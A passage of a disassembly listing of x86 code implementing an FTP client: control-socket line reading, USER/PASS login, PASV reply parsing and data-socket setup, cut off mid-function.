; ---------------------------------------------------------------------------


loc_427BA9:				; CODE XREF: sub_4279B0+1D3j
		push	esi
		push	32h
		mov	[esi+8], edi
		mov	[esi+18h], ebx
		mov	[esi+1Ch], ebx
		mov	dword ptr [esi+24h], 1
		mov	[esi+30h], ebx
		mov	[esi+2Ch], ebx
		mov	[esi+28h], ebx
		mov	[esi+34h], ebx
		mov	[esi+38h], ebx
		mov	[esi+40h], ebx
		mov	[esi+3Ch], ebx
		call	sub_427CB0
		add	esp, 8
		test	eax, eax
		jnz	short loc_427BF9
		push	edi
		call	sub_430A26
		mov	edx, [esi+14h]
		push	edx
		call	ebp
		push	esi
		call	ebp
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------


loc_427BF9:				; CODE XREF: sub_4279B0+22Bj
		mov	eax, [esp+24h+arg_4]
		pop	edi
		mov	[eax], esi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 14h
		retn
sub_4279B0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427CB0	proc near		; CODE XREF: sub_4279B0+221p
					; sub_428340+C6p ...

var_8		= byte ptr -8
var_5		= byte ptr -5
var_4		= byte ptr -4
arg_0		= byte ptr  4
arg_4		= dword	ptr  8

		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+18h+arg_4]
		push	edi
		push	100h
		lea	esi, [edi+44h]
		push	esi
		call	sub_427DF0
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427CEA


loc_427CD2:				; CODE XREF: sub_427CB0+8Ej
					; sub_427CB0+D9j
		push	offset aControlSocketR ; "Control socket read failed"
		call	ds:dword_4B3A58
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_427CEA:				; CODE XREF: sub_427CB0+20j
		mov	eax, ds:dword_4B26D4
		mov	ebx, ds:dword_4B3A6C
		cmp	eax, 1
		jle	short loc_427D0E
		mov	eax, ds:dword_4B3A68
		push	esi
		add	eax, 40h
		push	offset dword_43B5F0
		push	eax
		call	ebx
		add	esp, 0Ch


loc_427D0E:				; CODE XREF: sub_427CB0+48j
		cmp	byte ptr [edi+47h], 2Dh
		jnz	short loc_427D8E
		push	3
		lea	ecx, [esp+1Ch+var_8]
		push	esi
		push	ecx
		call	ds:dword_4B3AE0
		push	edi
		push	100h
		push	esi
		mov	[esp+30h+var_5], 20h
		mov	[esp+30h+var_4], 0
		call	sub_427DF0
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_427CD2
		mov	ebp, ds:dword_4B3ABC


loc_427D46:				; CODE XREF: sub_427CB0+D7j
		cmp	ds:dword_4B26D4, 1
		jle	short loc_427D64
		mov	edx, ds:dword_4B3A68
		push	esi
		add	edx, 40h
		push	offset dword_43B5F0
		push	edx
		call	ebx
		add	esp, 0Ch


loc_427D64:				; CODE XREF: sub_427CB0+9Dj
		lea	eax, [esp+18h+var_8]
		push	4
		push	eax
		push	esi
		call	ebp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_427D8E
		push	edi
		push	100h
		push	esi
		call	sub_427DF0
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_427D46
		jmp	loc_427CD2
; ---------------------------------------------------------------------------


loc_427D8E:				; CODE XREF: sub_427CB0+62j
					; sub_427CB0+C3j
		mov	cl, [esi]
		mov	dl, [esp+18h+arg_0]
		xor	eax, eax
		pop	edi
		cmp	cl, dl
		pop	esi
		pop	ebp
		pop	ebx
		setz	al
		add	esp, 8
		retn
sub_427CB0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427DF0	proc near		; CODE XREF: sub_427CB0+15p
					; sub_427CB0+83p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 8
		push	ebx
		push	ebp
		mov	ebp, [esp+10h+arg_0]
		push	esi
		mov	esi, [esp+14h+arg_8]
		xor	ecx, ecx
		push	edi
		mov	[esp+18h+var_8], ecx
		mov	eax, [esi+18h]
		mov	[esp+18h+var_4], ecx
		cmp	eax, ecx
		jz	short loc_427E20
		cmp	eax, 1
		jz	short loc_427E20
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_427E20:				; CODE XREF: sub_427DF0+1Ej
					; sub_427DF0+23j
		mov	ebx, [esp+18h+arg_4]
		cmp	ebx, ecx
		jnz	short loc_427E32
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_427E32:				; CODE XREF: sub_427DF0+36j
					; sub_427DF0+115j
		mov	edi, [esi+0Ch]
		test	edi, edi
		jle	short loc_427E83
		cmp	ebx, edi
		jge	short loc_427E40
		lea	edi, [ebx-1]


loc_427E40:				; CODE XREF: sub_427DF0+4Bj
		mov	eax, [esi+4]
		push	edi
		push	0Ah
		push	eax
		push	ebp
		call	ds:dword_4B3A04
		add	esp, 10h
		test	eax, eax
		jz	short loc_427E59
		mov	edi, eax
		sub	edi, ebp


loc_427E59:				; CODE XREF: sub_427DF0+63j
		mov	edx, [esp+18h+var_8]
		add	ebp, edi
		add	edx, edi
		sub	ebx, edi
		mov	[esp+18h+var_8], edx
		mov	byte ptr [ebp+0], 0
		mov	ecx, [esi+4]
		mov	edx, [esi+0Ch]
		add	ecx, edi
		sub	edx, edi
		test	eax, eax
		mov	[esi+4], ecx
		mov	[esi+0Ch], edx
		jnz	loc_427F0A


loc_427E83:				; CODE XREF: sub_427DF0+47j
		cmp	ebx, 1
		jz	loc_427F5D
		mov	ecx, [esi]
		mov	eax, [esi+4]
		cmp	ecx, eax
		jnz	short loc_427EAB
		mov	eax, [esi+14h]
		mov	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	[esi], eax
		mov	dword ptr [esi+10h], 2000h


loc_427EAB:				; CODE XREF: sub_427DF0+A3j
		mov	eax, [esp+18h+var_4]
		test	eax, eax
		jnz	loc_427F70
		push	esi
		call	sub_428020
		add	esp, 4
		test	eax, eax
		jz	loc_427FA2
		mov	edx, [esi+10h]
		mov	eax, [esi]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_430A6E
		cmp	eax, 0FFFFFFFFh
		jz	loc_427F8C
		test	eax, eax
		jnz	short loc_427EEF
		mov	[esp+18h+var_4], 1


loc_427EEF:				; CODE XREF: sub_427DF0+F5j
		mov	edi, [esi+10h]
		mov	edx, [esi+0Ch]
		mov	ecx, [esi]
		sub	edi, eax
		add	edx, eax
		add	ecx, eax
		mov	[esi+10h], edi
		mov	[esi+0Ch], edx
		mov	[esi], ecx
		jmp	loc_427E32
; ---------------------------------------------------------------------------


loc_427F0A:				; CODE XREF: sub_427DF0+8Dj
		sub	ebp, 2
		mov	esi, offset asc_43F760 ; "\r\n"
		mov	eax, ebp


loc_427F14:				; CODE XREF: sub_427DF0+146j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_427F3C
		test	cl, cl
		jz	short loc_427F38
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_427F3C
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_427F14


loc_427F38:				; CODE XREF: sub_427DF0+130j
		xor	eax, eax
		jmp	short loc_427F41
; ---------------------------------------------------------------------------


loc_427F3C:				; CODE XREF: sub_427DF0+12Cj
					; sub_427DF0+13Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_427F41:				; CODE XREF: sub_427DF0+14Aj
		test	eax, eax
		jnz	short loc_427FA2
		mov	byte ptr [ebp+0], 0Ah
		mov	[ebp+1], al
		mov	eax, [esp+18h+var_8]
		pop	edi
		dec	eax
		pop	esi
		pop	ebp
		mov	[esp+0Ch+var_8], eax
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_427F5D:				; CODE XREF: sub_427DF0+96j
		mov	eax, [esp+18h+arg_0]
		pop	edi
		pop	esi
		pop	ebp
		mov	byte ptr [eax],	0
		mov	eax, [esp+0Ch+var_8]
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_427F70:				; CODE XREF: sub_427DF0+C1j
		mov	eax, [esp+18h+var_8]
		test	eax, eax
		jnz	short loc_427FA2
		pop	edi
		mov	[esp+14h+var_8], 0FFFFFFFFh
		mov	eax, [esp+14h+var_8]
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_427F8C:				; CODE XREF: sub_427DF0+EDj
		push	offset aRead	; "read"
		call	ds:dword_4B3A58
		add	esp, 4
		mov	[esp+18h+var_8], 0FFFFFFFFh


loc_427FA2:				; CODE XREF: sub_427DF0+D2j
					; sub_427DF0+153j ...
		mov	eax, [esp+18h+var_8]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_427DF0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428020	proc near		; CODE XREF: sub_427DF0+C8p
					; sub_428E10:loc_428E3Dp ...

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 10Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+118h+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		mov	eax, [esi+18h]
		test	eax, eax
		jz	loc_428103
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	loc_428103
		cmp	eax, 2
		jnz	short loc_428055
		lea	ebp, [esp+118h+var_104]
		jmp	short loc_428059
; ---------------------------------------------------------------------------


loc_428055:				; CODE XREF: sub_428020+2Dj
		lea	ebx, [esp+118h+var_104]


loc_428059:				; CODE XREF: sub_428020+33j
		xor	eax, eax
		push	edi
		mov	[esp+11Ch+var_104], eax


loc_428060:				; CODE XREF: sub_428020+98j
		cmp	eax, 40h
		jnb	short loc_428075
		mov	ecx, [esi+8]
		mov	[esp+eax*4+11Ch+var_100], ecx
		mov	eax, [esp+11Ch+var_104]
		inc	eax
		mov	[esp+11Ch+var_104], eax


loc_428075:				; CODE XREF: sub_428020+43j
		mov	edx, [esi+28h]
		mov	eax, [esi+2Ch]
		lea	ecx, [esp+11Ch+var_10C]
		mov	[esp+11Ch+var_10C], edx
		mov	edx, [esi+8]
		push	ecx
		push	0
		push	ebp
		inc	edx
		push	ebx
		push	edx
		mov	[esp+130h+var_108], eax
		call	sub_430A56
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4280BA
		test	eax, eax
		jg	short loc_4280F1
		mov	eax, [esi+34h]
		mov	ecx, [esi+38h]
		push	eax
		push	ecx
		push	esi
		call	dword ptr [esi+30h]
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jz	short loc_4280F6
		mov	eax, [esp+11Ch+var_104]
		jmp	short loc_428060
; ---------------------------------------------------------------------------


loc_4280BA:				; CODE XREF: sub_428020+79j
		push	100h
		xor	edi, edi
		call	ds:dword_4B3A50
		mov	edx, [eax]
		push	edx
		call	ds:dword_4B3A54
		add	esp, 4
		push	eax
		mov	eax, [esi+1Ch]
		add	eax, 44h
		push	eax
		call	ds:dword_4B3AE0
		add	esp, 0Ch
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_4280F1:				; CODE XREF: sub_428020+7Dj
		mov	edi, 1


loc_4280F6:				; CODE XREF: sub_428020+92j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 10Ch
		retn
; ---------------------------------------------------------------------------


loc_428103:				; CODE XREF: sub_428020+19j
					; sub_428020+24j
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 10Ch
		retn
sub_428020	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_428160:				; CODE XREF: _294ADE7B:004013BBj
		mov	eax, [esp+4]
		xor	ecx, ecx
		dec	eax
		cmp	eax, 4		; switch 5 cases
		ja	loc_42820F	; default
		jmp	off_428214[eax*4] ; switch jump


loc_428177:				; DATA XREF: _294ADE7B:off_428214o
		mov	eax, [esp+8]	; jumptable 00428170 case 0
		cmp	eax, 1
		jz	short loc_428189
		cmp	eax, 2
		jnz	loc_42820F	; default


loc_428189:				; CODE XREF: _294ADE7B:0042817Ej
		mov	ecx, [esp+0Ch]
		mov	[ecx+24h], eax
		mov	ecx, 1
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_428198:				; CODE XREF: _294ADE7B:00428170j
					; DATA XREF: _294ADE7B:off_428214o
		mov	edx, [esp+0Ch]	; jumptable 00428170 case 1
		mov	eax, [esp+8]
		mov	ecx, 1
		mov	[edx+30h], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4281AB:				; CODE XREF: _294ADE7B:00428170j
					; DATA XREF: _294ADE7B:off_428214o
		push	esi		; jumptable 00428170 case 2
		mov	esi, [esp+0Ch]
		mov	eax, 10624DD3h
		push	edi
		imul	esi
		mov	edi, [esp+14h]
		mov	ecx, 1
		sar	edx, 6
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, esi
		mov	[edi+28h], edx
		mov	esi, 3E8h
		cdq
		idiv	esi
		lea	eax, [edx+edx*4]
		lea	eax, [eax+eax*4]
		lea	edx, [eax+eax*4]
		mov	eax, ecx
		shl	edx, 3
		mov	[edi+2Ch], edx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4281EC:				; CODE XREF: _294ADE7B:00428170j
					; DATA XREF: _294ADE7B:off_428214o
		mov	eax, [esp+0Ch]	; jumptable 00428170 case 3
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+34h], edx
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4281FF:				; CODE XREF: _294ADE7B:00428170j
					; DATA XREF: _294ADE7B:off_428214o
		mov	eax, [esp+0Ch]	; jumptable 00428170 case 4
		mov	edx, [esp+8]
		mov	ecx, 1
		mov	[eax+3Ch], edx


loc_42820F:				; CODE XREF: _294ADE7B:0042816Aj
					; _294ADE7B:00428183j
		mov	eax, ecx	; default
		retn
; ---------------------------------------------------------------------------
		align 4
off_428214	dd offset loc_428177	; DATA XREF: _294ADE7B:00428170r
		dd offset loc_428198	; jump table for switch	statement
		dd offset loc_4281AB
		dd offset loc_4281EC
		dd offset loc_4281FF
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428270	proc near		; CODE XREF: sub_4020A4j

var_40		= byte ptr -40h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		sub	esp, 40h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_428301
		mov	ebx, [esp+4Ch+arg_4]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 40h
		ja	short loc_428301
		mov	edi, ds:dword_4B3A4C
		push	edx
		lea	eax, [esp+50h+var_40]
		push	offset aUserS	; "USER	%s"
		push	eax
		call	edi
		mov	esi, [esp+58h+arg_8]
		lea	ecx, [esp+58h+var_40]
		push	esi
		push	33h
		push	ecx
		call	sub_428340
		add	esp, 18h
		test	eax, eax
		jnz	short loc_4282DD
		mov	cl, [esi+44h]
		pop	edi
		cmp	cl, 32h
		pop	esi
		setz	al
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_4282DD:				; CODE XREF: sub_428270+5Bj
		push	ebx
		lea	edx, [esp+50h+var_40]
		push	offset aPassS	; "PASS	%s"
		push	edx
		call	edi
		push	esi
		lea	eax, [esp+5Ch+var_40]
		push	32h
		push	eax
		call	sub_428340
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_428301:				; CODE XREF: sub_428270+1Bj
					; sub_428270+30j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 40h
		retn
sub_428270	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428340	proc near		; CODE XREF: sub_428270+51p
					; sub_428270+82p ...

var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 100h
		push	ebx
		mov	ebx, [esp+104h+arg_8]
		push	esi
		push	edi
		mov	eax, [ebx+18h]
		test	eax, eax
		jz	short loc_428363
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_428363:				; CODE XREF: sub_428340+15j
		mov	eax, ds:dword_4B26D4
		mov	esi, [esp+10Ch+arg_0]
		cmp	eax, 2
		jle	short loc_42838C
		mov	eax, ds:dword_4B3A68
		push	esi
		add	eax, 40h
		push	offset aS	; "%s\n"
		push	eax
		call	ds:dword_4B3A6C
		add	esp, 0Ch


loc_42838C:				; CODE XREF: sub_428340+32j
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		add	ecx, 2
		cmp	ecx, 100h
		jbe	short loc_4283AC
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_4283AC:				; CODE XREF: sub_428340+60j
		push	esi
		lea	ecx, [esp+110h+var_100]
		push	offset dword_43BBBC
		push	ecx
		call	ds:dword_4B3A4C
		lea	edi, [esp+118h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		mov	eax, [ebx+8]
		push	0
		not	ecx
		dec	ecx
		lea	edx, [esp+110h+var_100]
		push	ecx
		push	edx
		push	eax
		call	sub_430A2C
		test	eax, eax
		jg	short loc_4283FD
		push	offset aWrite	; "write"
		call	ds:dword_4B3A58
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_4283FD:				; CODE XREF: sub_428340+A1j
		mov	ecx, [esp+10Ch+arg_4]
		push	ebx
		push	ecx
		call	sub_427CB0
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 100h
		retn
sub_428340	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428460	proc near		; CODE XREF: sub_401E0Bj

var_100		= dword	ptr -100h
var_FC		= byte ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 100h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10Ch+arg_0]
		push	edi
		mov	edi, [esp+110h+arg_4]
		test	esi, esi
		jnz	short loc_4284AC
		cmp	edi, 4
		jz	short loc_428486
		cmp	edi, 3
		jnz	short loc_4284AC


loc_428486:				; CODE XREF: sub_428460+1Fj
		mov	eax, [esp+110h+arg_C]
		push	offset aMissingPathArg ; "Missing path argument	for file transfer"...
		add	eax, 44h
		push	eax
		call	ds:dword_4B3A4C
		add	esp, 8
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_4284AC:				; CODE XREF: sub_428460+1Aj
					; sub_428460+24j
		mov	ecx, [esp+110h+arg_8]
		mov	ebp, ds:dword_4B3A4C
		push	ecx
		lea	edx, [esp+114h+var_100]
		push	offset dword_43F7C4
		push	edx
		call	ebp
		mov	ebx, [esp+11Ch+arg_C]
		lea	eax, [esp+11Ch+var_100]
		push	ebx
		push	32h
		push	eax
		call	sub_428340
		add	esp, 18h
		test	eax, eax
		jz	loc_42866E
		lea	eax, [edi-1]	; switch 4 cases
		cmp	eax, 3
		ja	loc_42865F	; default
		jmp	off_42867C[eax*4] ; switch jump


loc_4284F8:				; DATA XREF: _294ADE7B:off_42867Co
		mov	ecx, ds:dword_43F7BC ; jumptable 004284F1 case 1
		mov	dl, ds:byte_43F7C0
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 1
		jmp	short loc_428560
; ---------------------------------------------------------------------------


loc_428513:				; CODE XREF: sub_428460+91j
					; DATA XREF: _294ADE7B:off_42867Co
		mov	eax, ds:dword_43F7B4 ; jumptable 004284F1 case 2
		mov	cl, ds:byte_43F7B8
		mov	[esp+110h+var_100], eax
		mov	[esp+110h+var_FC], cl
		mov	ebp, 1
		jmp	short loc_428560
; ---------------------------------------------------------------------------


loc_42852D:				; CODE XREF: sub_428460+91j
					; DATA XREF: _294ADE7B:off_42867Co
		mov	edx, ds:dword_43F7AC ; jumptable 004284F1 case 3
		mov	al, ds:byte_43F7B0
		mov	[esp+110h+var_100], edx
		mov	[esp+110h+var_FC], al
		mov	ebp, 1
		jmp	short loc_428560
; ---------------------------------------------------------------------------


loc_428547:				; CODE XREF: sub_428460+91j
					; DATA XREF: _294ADE7B:off_42867Co
		mov	ecx, ds:dword_43F7A4 ; jumptable 004284F1 case 4
		mov	dl, ds:byte_43F7A8
		mov	[esp+110h+var_100], ecx
		mov	[esp+110h+var_FC], dl
		mov	ebp, 2


loc_428560:				; CODE XREF: sub_428460+B1j
					; sub_428460+CBj ...
		test	esi, esi
		jz	short loc_4285B3
		lea	edi, [esp+110h+var_100]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [esp+edx+110h+var_100], 20h
		inc	edx
		repne scasb
		not	ecx
		dec	ecx
		add	ecx, edx
		cmp	ecx, 100h
		jnb	loc_42866E
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+edx+110h+var_100]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_4285B3:				; CODE XREF: sub_428460+102j
		mov	ecx, [esp+110h+arg_8]
		mov	esi, [esp+110h+arg_10]
		push	ebp
		push	ecx
		push	esi
		push	ebx
		call	sub_428720
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_42866E
		push	ebx
		lea	edx, [esp+114h+var_100]
		push	31h
		push	edx
		call	sub_428340
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_428608
		mov	eax, [esi]
		push	eax
		call	sub_401ADC
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_428608:				; CODE XREF: sub_428460+188j
		mov	ecx, [esi]
		mov	[ecx+1Ch], ebx
		mov	eax, [ebx+24h]
		mov	edx, [esi]
		cmp	eax, 2
		mov	[ebx+20h], edx
		jnz	short loc_42864F
		mov	eax, [esi]
		push	ebx
		push	eax
		call	sub_428C00
		add	esp, 8
		test	eax, eax
		jnz	short loc_42864F
		mov	ecx, [esi]
		push	ecx
		call	sub_401ADC
		add	esp, 4
		mov	dword ptr [esi], 0
		mov	dword ptr [ebx+20h], 0
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42864F:				; CODE XREF: sub_428460+1B8j
					; sub_428460+1C8j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42865F:				; CODE XREF: sub_428460+8Bj
		push	edi		; default
		add	ebx, 44h
		push	offset aInvalidOpenTyp ; "Invalid open type %d\n"
		push	ebx
		call	ebp
		add	esp, 0Ch


loc_42866E:				; CODE XREF: sub_428460+7Fj
					; sub_428460+12Cj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
sub_428460	endp

; ---------------------------------------------------------------------------
		align 4
off_42867C	dd offset loc_4284F8	; DATA XREF: sub_428460+91r
		dd offset loc_428513	; jump table for switch	statement
		dd offset loc_42852D
		dd offset loc_428547
		db 4 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_428720	proc near		; CODE XREF: sub_428460+165p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= word ptr -120h
var_11E		= word ptr -11Eh
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= byte ptr -114h
var_110		= byte ptr -110h
var_10C		= byte ptr -10Ch
var_108		= byte ptr -108h
var_104		= byte ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 134h
		push	ebx
		mov	ebx, [esp+138h+arg_0]
		push	ebp
		push	esi
		mov	eax, [ebx+18h]
		xor	ebp, ebp
		mov	esi, 1
		cmp	eax, ebp
		push	edi
		mov	[esp+144h+var_120], bp
		mov	[esp+144h+var_11E], bp
		mov	[esp+144h+var_11C], esi
		jnz	loc_428A44
		mov	eax, [esp+144h+arg_C]
		cmp	eax, esi
		jz	short loc_428782
		cmp	eax, 2
		jz	short loc_428782
		push	eax
		add	ebx, 44h
		push	offset aInvalidDirecti ; "Invalid direction %d\n"
		push	ebx
		call	ds:dword_4B3A4C
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_428782:				; CODE XREF: sub_428720+3Aj
					; sub_428720+3Fj
		mov	eax, [esp+144h+arg_8]
		cmp	eax, 41h
		jz	short loc_4287B4
		cmp	eax, 49h
		jz	short loc_4287B4
		push	eax
		add	ebx, 44h
		push	offset aInvalidModeC ; "Invalid	mode %c\n"
		push	ebx
		call	ds:dword_4B3A4C
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_4287B4:				; CODE XREF: sub_428720+6Cj
					; sub_428720+71j
		mov	eax, [ebx+24h]
		mov	[esp+144h+var_124], 10h
		cmp	eax, esi
		jnz	loc_428899
		xor	eax, eax
		push	ebx
		mov	[esp+148h+var_134], eax
		push	32h
		mov	[esp+14Ch+var_130], eax
		push	offset aPasv	; "PASV"
		mov	[esp+150h+var_12C], eax
		mov	word ptr [esp+150h+var_134], 2
		mov	[esp+150h+var_128], eax
		call	sub_428340
		add	esp, 0Ch
		test	eax, eax
		jz	loc_428A44
		lea	ecx, [ebx+44h]
		push	28h
		push	ecx
		call	ds:dword_4B3AC4
		add	esp, 8
		cmp	eax, ebp
		jz	loc_428A44
		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		call	ds:dword_4B3A70
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl


loc_42886D:				; CODE XREF: sub_428720+18Ej
		push	6
		push	esi
		push	2
		call	sub_430A20
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4288CB
		push	offset aSocket	; "socket"
		call	ds:dword_4B3A58
		add	esp, 4
		or	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_428899:				; CODE XREF: sub_428720+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_430A0E
		test	eax, eax
		jge	short loc_42886D
		push	offset aGetsockname ; "getsockname"
